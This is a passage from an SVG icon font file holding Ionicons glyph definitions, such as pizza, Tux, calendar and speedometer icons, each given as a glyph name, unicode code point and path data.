s-22 -9 -37 -9c-11 0 -20 2 -27 5s-11 6 -15 11s-8 12 -11 19s-6 11 -10 15s-10 6 -16 6c-8 0 -14 -2 -19 -7s-8 -10 -8 -17c0 -11 4 -22 12 -33s18 -19 30 -26c17 -9 39 -14 65 -14c22 0 42 3 58 10s29 16 37 28z" />
    <glyph glyph-name="ion-ios-pizza" unicode="&#xf1e7;" horiz-adv-x="384" 
d="M383 338c3 -9 0 -18 -4 -26c-6 -12 -17 -13 -23 -14l-158 -295c-1 -2 -3 -3 -5 -3v0c-2 0 -5 1 -6 3l-158 296c-10 1 -19 8 -22 14c0 1 -2 2 -2 3c-3 6 -7 13 -4 21c2 7 15 14 27 20c28 13 71 27 165 27c91 0 138 -15 165 -27c11 -5 22 -12 25 -19zM117 225
c3 8 2 18 -2 26s-11 13 -20 16c-4 1 -7 2 -11 2h-1c-3 0 -4 -3 -3 -6c8 -14 16 -30 25 -47c1 -3 5 -2 7 0c2 3 4 5 5 9zM233 128l26 48c1 1 0 4 -1 5c-6 7 -15 11 -25 11c-19 0 -34 -15 -34 -33c0 -17 13 -31 30 -33c2 0 3 1 4 2zM268 305c3 2 6 4 8 7s0 6 -3 7
c-16 3 -33 5 -51 6c-3 0 -5 -2 -4 -5s3 -6 5 -9c5 -7 12 -11 21 -12c2 0 3 -1 5 -1c7 0 13 3 19 7z" />
    <glyph glyph-name="ion-md-glasses" unicode="&#xf300;" horiz-adv-x="448" 
d="M448 272v0v0v-48h-11l-5 -22c-16 -65 -40 -90 -95 -90s-97 17 -97 90v22s-2 16 -16 16s-16 -16 -16 -16v-22c0 -73 -40 -90 -96 -90s-80 22 -96 90l-5 22h-11v48h208v0h32v0h208z" />
    <glyph glyph-name="ion-ios-contact" unicode="&#xf41a;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208v0v0c-108 0 -196 81 -207 186c-1 7 -1 15 -1 22s0 15 1 22c11 105 99 186 207 186v0v0zM344 74c29 33 44 74 44 118c0 48 -19 93 -53 127s-79 53 -127 53s-93 -19 -127 -53s-53 -79 -53 -127c0 -44 15 -85 44 -118
c21 8 56 21 80 28c2 1 3 0 3 10c0 11 -1 18 -4 24c-4 8 -7 20 -9 31c-4 5 -10 15 -14 33c-3 16 -1 22 1 28v2c1 4 0 23 -3 38c-2 10 1 34 15 52c9 12 27 26 58 28h18c32 -2 49 -16 58 -28c14 -18 17 -42 15 -52c-3 -15 -4 -34 -3 -38c0 0 1 -1 1 -2c2 -6 3 -12 0 -28
c-4 -18 -10 -27 -14 -32c-2 -11 -5 -24 -9 -32c-3 -7 -6 -15 -6 -23c0 -10 0 -10 2 -11c23 -7 60 -19 83 -28z" />
    <glyph glyph-name="ion-md-copy" unicode="&#xf2da;" horiz-adv-x="336" 
d="M208 400l128 -128v-200c0 -22 -18 -40 -40 -40h-8v-8c0 -22 -18 -40 -40 -40h-208c-22 0 -40 18 -40 40v288c0 22 18 40 40 40h8v8c0 22 18 40 40 40h120zM208 355v-83h83zM256 24v8h-176c-22 0 -32 10 -32 32v256h-8c-5 0 -8 -4 -8 -8v-288c0 -4 4 -8 8 -8h208
c4 0 8 3 8 8zM304 72v168h-96h-32v32v96h-16h-72c-5 0 -8 -4 -8 -8v-288c0 -4 4 -8 8 -8h208c4 0 8 3 8 8z" />
    <glyph glyph-name="ion-ios-people" unicode="&#xf47c;" horiz-adv-x="449" 
d="M318 113c11 -4 45 -22 45 -67h-139h-139c0 45 35 63 46 67s29 5 37 8c6 2 15 4 18 8s3 28 3 28s-7 7 -10 14s-5 28 -5 28s-6 -3 -9 10c-2 11 -6 18 -5 26s5 6 5 6s-5 9 -5 38c0 30 22 59 64 59s65 -29 65 -59c0 -29 -6 -38 -6 -38s5 2 6 -6s-3 -15 -5 -26
c-3 -13 -10 -10 -10 -10s-1 -21 -4 -28s-10 -14 -10 -14s0 -24 3 -28s11 -6 17 -8c8 -3 27 -4 38 -8zM108 162c0 0 -1 -14 1 -16s19 -6 19 -6c12 -2 9 -9 9 -9c-7 -1 -16 0 -25 -5c-15 -8 -30 -22 -32 -30h-80c0 20 15 35 23 38s16 5 25 7c4 1 10 3 12 5s2 17 2 17v0
s-24 -1 -34 8c16 20 7 51 10 77s18 41 46 41v0h1c29 0 44 -15 47 -41s-6 -53 10 -77c-10 -8 -34 -9 -34 -9zM340 162c0 0 -23 1 -33 9c16 24 7 51 10 77s18 41 47 41c0 0 -1 0 0 0v0c28 0 44 -15 47 -41s-6 -57 10 -77c-10 -9 -33 -8 -33 -8v0s-2 -15 0 -17s8 -4 12 -5
c9 -2 18 -4 26 -7s23 -18 23 -38h-80c-2 8 -17 22 -32 30c-9 5 -18 4 -25 5c0 0 -3 7 9 9c0 0 17 4 19 6s0 16 0 16z" />
    <glyph glyph-name="ion-md-baseball" unicode="&#xf291;" 
d="M318 45c5 -6 10 -12 16 -18c-35 -27 -78 -43 -126 -43s-91 16 -126 43c6 6 11 12 16 18l23 -13l16 28l-20 12c5 9 10 17 14 26c1 3 3 7 4 10l25 -6l7 32l-23 5c3 12 5 24 6 37h24v32h-24c-1 12 -3 25 -6 37l23 5l-7 32l-25 -6c-1 3 -3 6 -4 9c-4 9 -9 19 -14 27l20 12
l-16 28l-23 -14c-5 6 -10 13 -16 19c35 27 78 43 126 43s91 -16 126 -43c-6 -6 -11 -13 -16 -19l-23 14l-16 -28l20 -12c-5 -8 -10 -18 -14 -27c-1 -3 -3 -6 -4 -9l-25 6l-7 -32l23 -5c-3 -12 -5 -25 -6 -37h-24v-32h24c1 -13 3 -25 6 -37l-23 -5l7 -32l25 6
c1 -3 3 -7 4 -10c4 -9 9 -18 14 -26l-20 -12l16 -28zM346 322c3 4 6 7 10 11l2 2c36 -37 58 -88 58 -143s-22 -106 -58 -144l-2 2c-4 4 -7 8 -10 12l18 10l-16 28l-21 -12c-5 8 -9 17 -13 26l-1 1l21 5l-7 32l-24 -6c-2 10 -4 20 -5 30h24v32h-24c1 10 3 20 5 30l24 -6l7 32
l-21 5v1c4 9 9 18 14 26l21 -13l16 28zM70 62c-3 -4 -6 -7 -10 -11l-2 -2c-36 37 -58 88 -58 143s22 106 58 144l2 -2c4 -4 7 -8 10 -12l-18 -11l16 -28l21 13c5 -8 9 -17 13 -26l1 -1l-21 -5l7 -32l24 6c2 -10 4 -20 5 -30h-24v-32h24c-1 -10 -3 -20 -5 -30l-24 6l-7 -32
l21 -5v-1c-4 -9 -9 -18 -14 -26l-21 12l-16 -28z" />
    <glyph glyph-name="ion-logo-tux" unicode="&#xf2ae;" horiz-adv-x="384" 
d="M362 52c7 -4 22 -10 22 -20s-16 -16 -42 -30s-33 -34 -61 -34s-28 18 -39 21s-33 2 -46 2s-35 2 -42 -4c-11 -9 -23 -19 -38 -19s-26 9 -56 16s-60 7 -60 23s11 17 7 31s-7 25 -4 30s10 4 19 5s19 2 22 11c1 5 -2 17 5 25c-4 16 -2 27 10 44c17 23 15 38 24 53
s31 36 36 45c9 16 9 22 8 55c0 0 -2 22 -2 51c0 27 17 59 67 59s68 -31 70 -69c4 -60 0 -68 26 -100c15 -18 37 -43 45 -68s13 -56 12 -66c-1 -6 -1 -9 -3 -11c3 -1 6 -2 8 -5c3 -4 2 -11 0 -26c-1 -8 5 -15 12 -19zM136 -4c1 13 -4 22 -17 44s-28 53 -42 60s-21 5 -22 0
s-2 -20 -3 -23c-3 -6 -11 -11 -16 -12s-19 1 -22 -4s4 -16 4 -24c0 -21 -14 -32 1 -35c14 -2 34 -6 49 -10s31 -11 44 -12c12 -1 23 3 24 16zM254 62c-2 10 -5 28 1 35c4 5 10 6 17 5c0 4 0 8 3 12s11 7 19 7c16 0 24 -11 20 -5c-3 4 -8 10 -13 11c0 0 4 11 2 33
c-4 40 -34 62 -34 62c27 -30 27 -58 27 -72c0 -6 -1 -16 -4 -22c0 0 -6 -1 -12 -3c-11 -4 -8 -3 -7 7c3 29 -7 64 -17 77s-7 19 -15 35s-18 18 -15 34s5 22 -8 25s-23 8 -24 13c0 2 -1 5 0 10s5 13 14 13c8 0 14 -5 14 -13s-4 -13 -5 -14c-2 -2 3 -3 7 -3c3 4 6 10 6 22
c0 15 -10 25 -22 25s-29 -11 -22 -41c-8 6 -15 5 -21 3c0 0 2 15 -2 23c-4 9 -18 16 -24 4s-3 -25 0 -31s4 -6 4 -6c2 1 5 4 5 4s-6 3 -7 11c-1 9 3 14 7 15s10 -2 12 -8s0 -13 0 -13s-8 -8 -12 -11s-12 -7 -12 -11s6 -11 15 -17c11 -7 19 -7 44 3c19 7 16 11 22 13
c4 1 7 -3 5 -6s-6 -2 -22 -9s-21 -8 -29 -11c-6 -2 -11 -5 -26 9c-1 1 10 -16 17 -19s35 11 51 18c3 1 7 -2 3 -6s-29 -25 -48 -28c-11 -2 -21 16 -25 22c-5 8 -7 11 -5 -12s-9 -32 -17 -43s-13 -17 -19 -44s2 -56 -8 -53c-6 2 -14 12 -14 25s-1 17 0 20c1 4 -4 -8 -4 -21
s2 -17 7 -23c3 -4 44 -32 55 -42s12 -21 9 -28s-11 -10 -11 -10s5 -9 9 -18c3 -7 2 -18 2 -22c0 0 10 9 5 25c0 0 11 -10 32 -8c25 2 41 11 53 22c11 10 12 12 12 2c1 -17 -7 -24 -5 -31c4 8 9 11 11 23s1 26 -1 36zM344 15c24 11 31 16 23 22c-17 11 -29 16 -29 32
c0 5 5 15 3 21c-2 4 -7 4 -7 4c-10 -24 -33 -22 -33 -22c-20 0 -26 15 -27 20c-2 0 -10 2 -11 -4s1 -13 5 -37c6 -31 -11 -49 -5 -59s19 -16 34 -8s23 21 47 31z" />
    <glyph glyph-name="ion-ios-skip-backward" unicode="&#xf215;" horiz-adv-x="320" 
d="M79 348v-138l229 140c5 3 12 -1 12 -7v-302c0 -6 -7 -10 -12 -7l-229 140v-138c0 -2 -2 -4 -4 -4h-71c-2 0 -4 2 -4 4v312c0 2 2 4 4 4h71c2 0 4 -2 4 -4z" />
    <glyph glyph-name="ion-ios-help-circle-outline" unicode="&#xf197;" 
d="M208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM209 288c38 0 63 -21 63 -51
c0 -20 -10 -33 -28 -44c-17 -10 -23 -17 -23 -30v-8h-35v8c-2 21 5 33 23 44c17 10 24 17 24 29s-12 22 -27 22s-25 -10 -26 -25h-36c1 32 25 55 65 55zM182 117c0 12 10 20 22 20s21 -8 21 -20s-9 -21 -21 -21s-22 9 -22 21z" />
    <glyph glyph-name="ion-logo-wordpress" unicode="&#xf330;" horiz-adv-x="384" 
d="M195 177l53 -146c0 -1 6 -13 9 -19c-3 -1 -5 -2 -8 -3v0c-10 -3 -21 -6 -32 -7c-8 -1 -17 -2 -25 -2c-17 0 -34 2 -50 6v0c-2 0 -3 2 -5 2l25 73v0zM17 268c6 0 7 -1 15 -1l93 -255c-3 1 -5 2 -8 3c-63 27 -109 87 -116 158c-1 6 -1 13 -1 19c0 25 7 53 17 76zM366 273
c11 -24 18 -52 18 -81c0 -9 -1 -18 -2 -26c-9 -65 -50 -120 -107 -147c-2 -1 -3 -1 -5 -2l22 65l39 113c10 25 13 45 13 62v19v0c-1 18 -10 44 -36 43h-2c-17 0 -29 -14 -29 -30c0 -14 8 -27 17 -41c7 -12 14 -26 14 -47c0 -15 -4 -34 -13 -56l-17 -58l-62 186
c10 0 20 1 20 1c9 1 7 16 -2 15c0 0 -28 -3 -46 -3c-17 0 -45 3 -45 3c-9 1 -10 -15 -1 -15c0 0 9 -1 18 -1l27 -74l-38 -113l-63 187c10 0 20 2 20 2c9 1 8 15 -1 14c0 0 -28 -2 -46 -2h-34c5 9 11 17 17 25c35 44 90 72 150 72c24 0 48 -5 69 -13c34 -13 63 -36 85 -65
c2 -2 3 -5 5 -7c6 -8 11 -17 15 -26z" />
    <glyph glyph-name="ion-ios-speedometer" unicode="&#xf4b0;" horiz-adv-x="448" 
d="M224 384c124 0 224 -100 224 -224c0 -57 -21 -108 -56 -148l-4 -4c-5 -5 -11 -8 -18 -8s-14 3 -19 8c-32 34 -77 56 -127 56s-95 -22 -127 -56c-5 -5 -12 -8 -19 -8s-13 3 -18 8l-4 4c-35 40 -56 91 -56 148c0 124 100 224 224 224zM210 338v-36c0 -8 6 -14 14 -14
s14 6 14 14v36c0 8 -6 14 -14 14s-14 -6 -14 -14zM82 146c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36zM134 251c5 5 5 14 0 19l-26 26c-5 5 -15 5 -20 0v0c-5 -5 -5 -15 0 -20l26 -25c5 -5 15 -5 20 0v0zM294 216c3 4 2 11 -2 14
c-4 2 -9 2 -12 0l-75 -47c-14 -10 -17 -28 -7 -42s28 -17 42 -7c3 2 5 4 7 7zM334 251l26 25c5 5 5 15 0 20v0c-5 5 -15 5 -20 0l-26 -26c-5 -5 -5 -14 0 -19v0c5 -5 15 -5 20 0zM402 146c8 0 14 6 14 14s-6 14 -14 14h-36c-8 0 -14 -6 -14 -14s6 -14 14 -14h36z" />
    <glyph glyph-name="ion-md-albums" unicode="&#xf275;" 
d="M107 -16c-24 0 -43 20 -43 43v266c0 24 19 43 43 43h266c24 0 43 -19 43 -43v-266c0 -24 -19 -43 -43 -43h-266zM43 400h266c24 0 43 -19 43 -43v-5h-32h-229c-24 0 -43 -19 -43 -43v-229v-32h-5c-24 0 -43 19 -43 43v266c0 24 19 43 43 43z" />
    <glyph glyph-name="ion-ios-map" unicode="&#xf1bd;" horiz-adv-x="384" 
d="M0 376c0 7 7 11 12 7l70 -51c2 -2 3 -4 3 -7v-316c0 -7 -7 -11 -12 -7l-69 50c-2 2 -4 4 -4 7v317zM105 325c0 3 1 5 3 7l62 36c5 4 12 0 12 -7v-316c0 -3 -1 -5 -3 -7l-62 -37c-5 -4 -12 0 -12 7v317zM372 382c5 4 12 1 12 -6v-317c0 -3 -2 -5 -4 -7l-69 -50
c-5 -4 -12 0 -12 7v316c0 3 1 5 3 7zM202 362c0 7 7 11 12 7l62 -37c2 -2 3 -4 3 -7v-316c0 -7 -7 -11 -12 -7l-62 37c-2 2 -3 4 -3 7v316z" />
    <glyph glyph-name="ion-ios-thunderstorm" unicode="&#xf4bd;" horiz-adv-x="448" 
d="M342 306c58 0 106 -41 106 -100c0 -58 -41 -110 -113 -110h-84l54 85c2 3 0 7 -3 7h-60l22 74c1 3 -1 6 -4 6h-86c-2 0 -4 -2 -4 -4l-23 -112c-1 -2 1 -5 4 -5h67l-14 -51h-119c-47 0 -85 41 -85 88c0 44 34 84 76 90v4c0 71 58 122 128 122s113 -40 125 -94h13zM175 -11
l29 107h47l-69 -110c-2 -4 -8 -1 -7 3z" />
    <glyph glyph-name="ion-ios-heart-half" unicode="&#xf19d;" 
d="M304 392c62 -1 112 -51 112 -113c0 -37 -16 -90 -48 -133c-60 -82 -160 -154 -160 -154s-100 72 -160 154c-32 43 -48 96 -48 133c0 62 50 112 112 113v0v0h1c40 0 75 -21 95 -52c20 31 55 52 95 52h1v0v0zM346 163c29 40 42 87 42 116c0 22 -8 44 -24 60s-38 25 -60 25
v0h-1v0c-14 0 -28 -4 -41 -11c-12 -7 -22 -16 -30 -28l-1 -1c-15 -22 -23 -48 -23 -75v-205c0 -7 8 -10 13 -6c33 27 88 74 125 125z" />
    <glyph glyph-name="ion-md-add-circle-outline" unicode="&#xf158;" 
d="M315 171h-86v-86h-42v86h-86v42h86v86h42v-86h86v-42zM208 358c-44 0 -86 -18 -117 -49s-49 -73 -49 -117s18 -86 49 -117s73 -49 117 -49s86 18 117 49s49 73 49 117s-18 86 -49 117s-73 49 -117 49zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208
s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-ios-arrow-dropup-circle" unicode="&#xf12d;" 
d="M208 -16c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208s-93 -208 -208 -208zM208 228l81 -79c8 -8 19 -8 27 0c4 4 6 8 6 13s-2 10 -6 14l-94 94c-8 7 -20 6 -27 -1l-95 -95c-8 -8 -8 -19 0 -27s19 -8 27 0z" />
    <glyph glyph-name="ion-ios-rainy" unicode="&#xf495;" 
d="M386 272c19 -18 30 -42 30 -69c0 -24 -9 -48 -25 -67c-15 -18 -36 -31 -58 -35l-69 -95c-3 -4 -8 -6 -13 -6c-3 0 -6 1 -9 3s-6 6 -6 10s1 7 3 10l55 75h-35l-37 -50c-3 -4 -7 -5 -12 -5c-3 0 -7 0 -9 2c-3 2 -5 6 -6 10s1 8 3 11l24 32h-35l-67 -92c-2 -3 -7 -6 -14 -6
c-2 0 -4 1 -8 3c-3 2 -6 6 -6 10s0 7 2 10l56 75h-35l-37 -50c-3 -4 -8 -5 -13 -5c-3 0 -7 0 -9 2c-3 2 -5 6 -6 10s1 8 3 11v0l24 32c-42 3 -77 41 -77 86c0 21 8 42 22 58c12 14 28 24 46 28c1 31 13 60 36 81s53 33 86 33c31 0 60 -9 81 -26c18 -15 31 -34 37 -58h6
c28 0 53 -10 72 -28z" />
    <glyph glyph-name="ion-ios-trash" unicode="&#xf4c5;" horiz-adv-x="276" 
d="M15 320h247l-24 -291c0 -16 -13 -29 -29 -29h-141c-16 0 -29 13 -29 29zM77 55h18l-7 233h-18zM147 55v233h-18v-233h18zM199 55l7 233h-18l-7 -233h18zM246 356c18 0 30 -8 30 -26h-276c0 18 12 26 30 26h36l26 23c4 3 9 5 14 5h64c5 0 10 -2 14 -5l26 -23h36z" />
    <glyph glyph-name="ion-md-image" unicode="&#xf30e;" horiz-adv-x="384" 
d="M384 43c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298c23 0 43 -20 43 -43v-298zM117 160l-74 -96h298l-96 128l-74 -96z" />
    <glyph glyph-name="ion-ios-airplane" unicode="&#xf137;" horiz-adv-x="448" 
d="M376 224c44 0 72 -14 72 -32s-28 -32 -72 -32h-18l-65 2c-1 0 -2 0 -2 -1l-97 -146c-3 -5 -8 -7 -14 -7h-23c-6 0 -8 6 -6 11l50 143c0 1 -1 2 -2 2l-121 3c-2 0 -5 -1 -7 -3l-38 -46c-3 -4 -7 -6 -12 -6h-17c-3 0 -5 3 -4 6l20 68c2 4 2 8 0 12l-20 69c-1 3 1 5 4 5h17
c5 0 9 -2 12 -6l37 -45c2 -2 4 -3 7 -3l122 2c1 0 2 1 2 2l-50 143c-2 5 0 11 6 11h23c5 0 11 -2 14 -7l97 -146c0 -1 1 -1 2 -1l65 2h18z" />
    <glyph glyph-name="ion-md-calendar" unicode="&#xf2ab;" horiz-adv-x="384" 
d="M304 176v-96h-96v96h96zM272 384h48v-32h24c22 0 40 -18 40 -40v-272c0 -22 -18 -40 -40 -40h-304c-22 0 -40 18 -40 40v272c0 22 18 40 40 40h24v32h48v-32h160v32zM344 40v212h-304v-212h304z" />
    <glyph glyph-name="ion-md-redo" unicode="&#xf365;" horiz-adv-x="448" 
d="M0 111c30 92 116 157 218 157c58 0 110 -21 150 -56l80 76v-192h-198l80 77c-30 25 -69 41 -112 41c-77 0 -143 -48 -166 -118z" />
    <glyph glyph-name="ion-ios-sync" unicode="&#xf222;" horiz-adv-x="480" 
d="M476 191c5 -5 5 -14 0 -19l-42 -42c-2 -2 -4 -3 -7 -3s-5 1 -7 3l-43 42c-5 5 -5 14 0 19c2 2 6 4 10 4s7 -2 9 -4l19 -18c3 24 0 48 -7 71c-8 27 -24 53 -44 73c-17 17 -36 30 -58 39c-21 9 -43 13 -66 13s-45 -4 -66 -13c-22 -9 -41 -22 -58 -39
c-12 -12 -22 -25 -30 -39c-2 -4 -7 -7 -12 -7c-2 0 -5 0 -7 1c-3 2 -6 5 -7 9s-1 8 1 11c9 16 21 32 34 45c19 20 42 35 68 45c25 10 50 15 77 15c52 0 100 -19 138 -54c46 -42 70 -103 66 -165l13 13c3 3 5 4 9 4s7 -1 10 -4zM413 112c4 -2 6 -4 7 -8s1 -9 -1 -12
c-9 -17 -21 -31 -35 -45c-20 -20 -42 -35 -67 -45c-24 -10 -51 -15 -77 -15s-53 5 -77 15c-25 10 -48 25 -68 45c-24 24 -40 52 -50 83c-8 24 -11 50 -9 76l-13 -13c-3 -3 -5 -4 -9 -4s-7 1 -10 4c-5 5 -5 14 0 19l42 43c2 2 4 3 7 3s5 -1 7 -3l43 -43c5 -5 5 -13 0 -18
l-1 -1c-2 -2 -6 -4 -9 -4s-7 2 -9 4l-19 18c-6 -53 12 -106 50 -144c17 -17 37 -30 59 -39c21 -9 43 -12 66 -12s45 3 66 12c22 9 41 22 58 39c12 12 22 25 30 39c2 4 7 8 12 8c2 0 5 -1 7 -2z" />
    <glyph glyph-name="ion-ios-photos" unicode="&#xf482;" horiz-adv-x="480" 
d="M448 304c18 0 32 -14 32 -32v-240c0 -18 -14 -32 -32 -32h-336c-18 0 -32 14 -32 32v240c0 18 14 32 32 32h336zM84 332c-18 0 -32 -14 -32 -32v-236h-20c-18 0 -32 14 -32 32v256c0 18 14 32 32 32h352c18 0 32 -14 32 -32v-20h-332z" />
    <glyph glyph-name="ion-md-locate" unicode="&#xf31c;" horiz-adv-x="448" 
d="M224 272c44 0 80 -36 80 -80s-36 -80 -80 -80s-80 36 -80 80s36 80 80 80zM415 213h33v-42h-33c-10 -89 -81 -160 -170 -170v-33h-42v33c-89 10 -160 81 -170 170h-33v42h33c10 89 81 160 170 170v33h42v-33c89 -10 160 -81 170 -170zM224 43c82 0 149 67 149 149
s-67 149 -149 149s-149 -67 -149 -149s67 -149 149 -149z" />
    <glyph glyph-name="ion-logo-game-controller-a" unicode="&#xf13b;" horiz-adv-x="448" 
d="M337 302c61 0 111 -45 111 -109s-50 -111 -111 -111h-226c-61 0 -111 47 -111 111s50 109 111 109h226zM168 181v22c0 3 -2 5 -5 5h-35v35c0 3 -2 5 -5 5h-22c-3 0 -5 -2 -5 -5v-35h-36c-3 0 -4 -2 -4 -5v-21c0 -3 2 -6 5 -6h35v-36c0 -3 2 -4 5 -4h21c3 0 6 2 6 5v35h35
c3 0 5 2 5 5zM288 172c11 0 19 9 19 20s-8 19 -19 19s-20 -8 -20 -19s9 -20 20 -20zM330 131c11 0 20 8 20 19s-9 19 -20 19s-19 -8 -19 -19s8 -19 19 -19zM330 214c11 0 20 10 20 20c0 11 -9 19 -20 19s-19 -8 -19 -19c0 -10 8 -20 19 -20zM373 172c11 0 19 9 19 20
s-8 19 -19 19s-19 -8 -19 -19s8 -20 19 -20z" />
    <glyph glyph-name="ion-md-man" unicode="&#xf324;" horiz-adv-x="168" 
d="M84 341c-21 0 -37 17 -37 38s16 37 37 37s37 -16 37 -37s-16 -38 -37 -38zM121 333c28 0 47 -24 47 -48v-114c0 -22 -32 -22 -32 0v105h-5v-286c0 -28 -41 -31 -43 0v165h-1h-7v-165c-1 -29 -43 -30 -43 0v286h-6v-105c0 -22 -31 -22 -31 0v114c0 24 19 48 47 48h37h37z
" />
    <glyph glyph-name="ion-ios-call" unicode="&#xf13e;" horiz-adv-x="384" 
d="M373 83c15 -15 12 -18 9 -26c0 0 -5 -12 -13 -24c-10 -15 -18 -23 -30 -29s-35 -12 -95 22c-48 27 -85 53 -125 93v0v0v0v0c-40 39 -66 77 -93 125c-34 60 -27 82 -21 94s13 21 28 31c12 8 24 13 24 13c8 3 11 6 26 -9s37 -49 45 -67c10 -20 10 -28 0 -42
c-8 -12 -17 -20 -14 -34s24 -41 50 -67s52 -46 66 -49s22 5 34 14c14 10 22 10 42 0c17 -8 52 -30 67 -45z" />
    <glyph glyph-name="ion-ios-arrow-back" unicode="&#xf3cf;" horiz-adv-x="192" 
d="M58 192l127 -127c9 -9 9 -25 0 -34c-5 -5 -11 -7 -17 -7s-12 2 -17 7l-145 145c-9 9 -8 24 1 33l144 144c9 9 25 9 34 0s9 -25 0 -34z" />
    <glyph glyph-name="ion-md-barcode" unicode="&#xf290;" horiz-adv-x="480" 
d="M72 64v256h48v-256h-48zM216 64v256h48v-256h-48zM144 80v224h48v-224h-48zM288 80v224h48v-224h-48zM360 64v256h48v-256h-48zM88 344h-40v-304h40v-48h-88v8v40v304v40v8h88v-48zM392 392h88v-8v-40v-304v-40v-8h-88v48h40v304h-40v48z" />
    <glyph glyph-name="ion-logo-freebsd-devil" unicode="&#xf238;" horiz-adv-x="512" 
d="M503 333c19 -37 8 -81 -20 -108s-60 -33 -60 -33c2 -32 16 -59 -41 -102c-43 -32 2 -90 2 -90c10 -14 23 -19 32 -32h-272s15 14 -7 32c0 0 -20 17 -18 29s6 13 9 15s0 7 0 7l-19 19s-13 -13 -44 -13c-38 0 -65 39 -65 39h46s-6 -8 -7 -13c-1 -4 1 -5 1 -5s11 -6 22 -6
c17 0 33 12 33 12l-24 22l-15 -4l-16 37l39 -10l-1 -15l28 -18s9 9 7 27s-9 26 -9 26s-4 0 -9 -4s-6 -6 -6 -6l-10 44s43 -19 50 -63c3 -20 -6 -35 -6 -35l17 -10s6 5 17 7s23 2 29 -8s5 -12 4 -19s0 -9 6 -11s6 -6 11 -8s15 -6 21 -2s8 11 8 18v16s-9 8 -32 20
s-54 22 -66 40s-12 44 0 57c9 10 23 25 26 35c4 14 4 42 4 42s-10 16 -8 40c2 30 22 84 96 114c0 0 -40 -55 -20 -80c0 0 37 11 77 9c31 -2 56 -12 73 -28s25 -23 47 -17s28 17 28 33c0 19 -16 51 -16 51s36 -7 58 -51zM195 245c14 4 21 -11 21 -11c14 25 30 60 22 64
s-64 -25 -66 -88c0 0 6 31 23 35zM232 230c5 7 34 8 37 -17c4 -35 -24 -57 -24 -57s7 -2 23 2c17 4 43 29 43 70s-21 66 -41 62s-38 -60 -38 -60z" />
    <glyph glyph-name="ion-logo-markdown" unicode="&#xf241;" horiz-adv-x="448" 
d="M416 352c18 0 32 -14 32 -32v-256c0 -18 -14 -32 -32 -32h-384c-18 0 -32 14 -32 32v256c0 18 14 32 32 32h384zM252 96v0v192h-56l-42 -68l-42 68h-56v-192h56v96l42 -54l42 54v-96h56zM336 96v0l70 96h-42v96h-56v-96h-42z" />
    <glyph glyph-name="ion-md-arrow-up" unicode="&#xf28c;" horiz-adv-x="342" 
d="M192 21h-42v260l-120 -119l-30 30l171 171l171 -171l-30 -31l-120 120v-260z" />
    <glyph glyph-name="ion-ios-backspace" unicode="&#xf11d;" 
d="M347 352c38 0 69 -31 69 -69v-180c0 -38 -31 -71 -69 -71h-165c-45 0 -64 26 -102 64s-72 76 -72 76c-5 6 -8 13 -8 21s3 15 8 21c0 0 43 45 72 74s55 64 102 64h165zM329 139l-52 53l52 53c6 6 6 16 0 22s-16 6 -22 0l-53 -52l-53 52c-6 6 -15 7 -22 0s-6 -16 0 -22
s52 -53 52 -53s-45 -46 -52 -53s-6 -16 0 -22s16 -6 22 0l53 52l53 -52c6 -6 16 -6 22 0s6 16 0 22z" />
    <glyph glyph-name="ion-md-hammer" unicode="&#xf303;" horiz-adv-x="448" 
d="M442 50c8 -6 8 -21 -2 -29l-47 -47c-8 -8 -20 -8 -28 0l-215 268c-14 4 -32 -2 -39 -6l-15 -14l10 -10c2 -2 2 -7 0 -9l-36 -36c-2 -2 -7 -2 -9 0l-59 59c-2 2 -2 6 0 8l37 37c2 2 6 2 8 0l4 -4l20 17s-2 11 5 20s17 21 25 29s36 37 74 56s65 27 97 27v-32
s-30 -18 -48 -32c-17 -14 -26 -72 -26 -72z" />
    <glyph glyph-name="ion-md-cloud-done" unicode="&#xf2c3;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM197 85l141 141l-30 30l-111 -111l-44 45l-30 -30z" />
    <glyph glyph-name="ion-md-business" unicode="&#xf1a4;" 
d="M213 299h203v-299h-416v384h213v-85zM85 43v42h-42v-42h42zM85 128v43h-42v-43h42zM85 213v43h-42v-43h42zM85 299v42h-42v-42h42zM170 43v42h-42v-42h42zM170 128v43h-42v-43h42zM170 213v43h-42v-43h42zM170 299v42h-42v-42h42zM373 43v213h-160v-43h43v-42h-43v-43h43
v-43h-43v-42h160zM336 213v-42h-43v42h43zM336 128v-43h-43v43h43z" />
    <glyph glyph-name="ion-ios-exit" unicode="&#xf177;" 
d="M96 312c0 22 18 40 40 40h240c22 0 40 -18 40 -40v-240c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v107h180l-47 -48c-5 -5 -5 -13 0 -18s13 -5 18 0l69 70v0c1 1 2 2 3 4s1 3 1 5c0 3 -2 7 -4 9l-69 70c-5 5 -13 5 -18 0s-5 -13 0 -18l47 -48h-180v107zM13 205h83
v-26h-83c-7 0 -13 6 -13 13s6 13 13 13z" />
    <glyph glyph-name="ion-md-send" unicode="&#xf376;" 
d="M0 0v149l298 43l-298 43v149l416 -192z" />
    <glyph glyph-name="ion-ios-ice-cream" unicode="&#xf19a;" horiz-adv-x="288" 
d="M109 42c0 2 1 3 3 2l12 -7c2 -2 2 -5 0 -7l-7 -4c-1 -1 -3 0 -3 1zM175 27c0 -1 -2 -2 -3 -1l-7 4c-2 2 -2 5 0 7l12 7c2 1 4 0 3 -2zM77 206c2 1 3 1 5 0c10 -9 22 -16 36 -19c4 -1 5 -5 2 -7l-37 -23l-7 -4c-1 -1 -3 0 -3 1l-4 12l-9 29c0 1 0 2 1 2c6 2 12 5 16 9z
